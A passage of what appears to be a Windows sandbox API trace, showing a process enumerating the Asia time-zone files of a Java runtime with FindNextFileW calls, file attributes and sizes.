ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x259, dwReserved0=0x0, dwReserved1=0x0, cFileName="Khandyga", cAlternateFileName="")) returned 1 [0088.677] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x61, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kolkata", cAlternateFileName="")) returned 1 [0088.677] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0x0, dwReserved1=0x0, cFileName="Krasnoyarsk", cAlternateFileName="")) returned 1 [0088.677] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kuala_Lumpur", cAlternateFileName="")) returned 1 [0088.677] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xd9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kuching", cAlternateFileName="")) returned 1 [0088.677] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kuwait", cAlternateFileName="")) returned 1 [0088.677] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x189, dwReserved0=0x0, dwReserved1=0x0, cFileName="Macau", cAlternateFileName="")) returned 1 [0088.678] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0x0, dwReserved1=0x0, cFileName="Magadan", cAlternateFileName="")) returned 1 [0088.678] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x55, dwReserved0=0x0, dwReserved1=0x0, cFileName="Makassar", cAlternateFileName="")) returned 1 [0088.678] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Manila", cAlternateFileName="")) returned 1 [0088.678] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Muscat", cAlternateFileName="")) returned 1 [0088.678] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Nicosia", cAlternateFileName="")) returned 1 [0088.678] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0x0, dwReserved1=0x0, cFileName="Novokuznetsk", cAlternateFileName="")) returned 1 [0088.678] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x24d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Novosibirsk", cAlternateFileName="")) returned 1 [0088.678] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0x0, dwReserved1=0x0, cFileName="Omsk", cAlternateFileName="")) returned 1 [0088.678] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oral", cAlternateFileName="")) returned 1 [0088.678] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x61, dwReserved0=0x0, dwReserved1=0x0, cFileName="Phnom_Penh", cAlternateFileName="")) returned 1 [0088.678] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pontianak", cAlternateFileName="")) returned 1 [0088.678] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x65, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pyongyang", cAlternateFileName="")) returned 1 [0088.678] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Qatar", cAlternateFileName="")) returned 1 [0088.678] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Qyzylorda", cAlternateFileName="")) returned 1 [0088.678] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x55, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rangoon", cAlternateFileName="")) returned 1 [0088.678] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Riyadh", cAlternateFileName="")) returned 1 [0088.678] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x12d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Riyadh87", cAlternateFileName="")) returned 1 [0088.679] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x127d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Riyadh88", cAlternateFileName="")) returned 1 [0088.679] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x129d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Riyadh89", cAlternateFileName="")) returned 1 [0088.679] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x249, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sakhalin", cAlternateFileName="")) returned 1 [0088.679] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x105, dwReserved0=0x0, dwReserved1=0x0, cFileName="Samarkand", cAlternateFileName="")) returned 1 [0088.679] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xa5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Seoul", cAlternateFileName="")) returned 1 [0088.679] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xc9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shanghai", cAlternateFileName="")) returned 1 [0088.679] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Singapore", cAlternateFileName="")) returned 1 [0088.679] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x17d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Taipei", cAlternateFileName="")) returned 1 [0088.679] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x105, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tashkent", cAlternateFileName="")) returned 1 [0088.679] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tbilisi", cAlternateFileName="")) returned 1 [0088.679] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x37c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tehran", cAlternateFileName="")) returned 1 [0088.679] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Thimphu", cAlternateFileName="")) returned 1 [0088.679] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tokyo", cAlternateFileName="")) returned 1 [0088.679] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ulaanbaatar", cAlternateFileName="")) returned 1 [0088.679] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xb5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Urumqi", cAlternateFileName="")) returned 1 [0088.679] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x255, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ust-Nera", cAlternateFileName="")) returned 1 [0088.679] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x61, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vientiane", cAlternateFileName="")) returned 1 [0088.680] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vladivostok", cAlternateFileName="")) returned 1 [0088.680] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0x0, dwReserved1=0x0, cFileName="Yakutsk", cAlternateFileName="")) returned 1 [0088.680] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0x0, dwReserved1=0x0, cFileName="Yekaterinburg", cAlternateFileName="")) returned 1 [0088.680] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x235, dwReserved0=0x0, dwReserved1=0x0, cFileName="Yerevan", cAlternateFileName="")) returned 1 [0088.680] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x235, dwReserved0=0x0, dwReserved1=0x0, cFileName="Yerevan", cAlternateFileName="")) returned 0 [0088.680] GetLastError () returned 0x12 [0088.680] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9080 [0088.680] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0088.680] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.680] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, 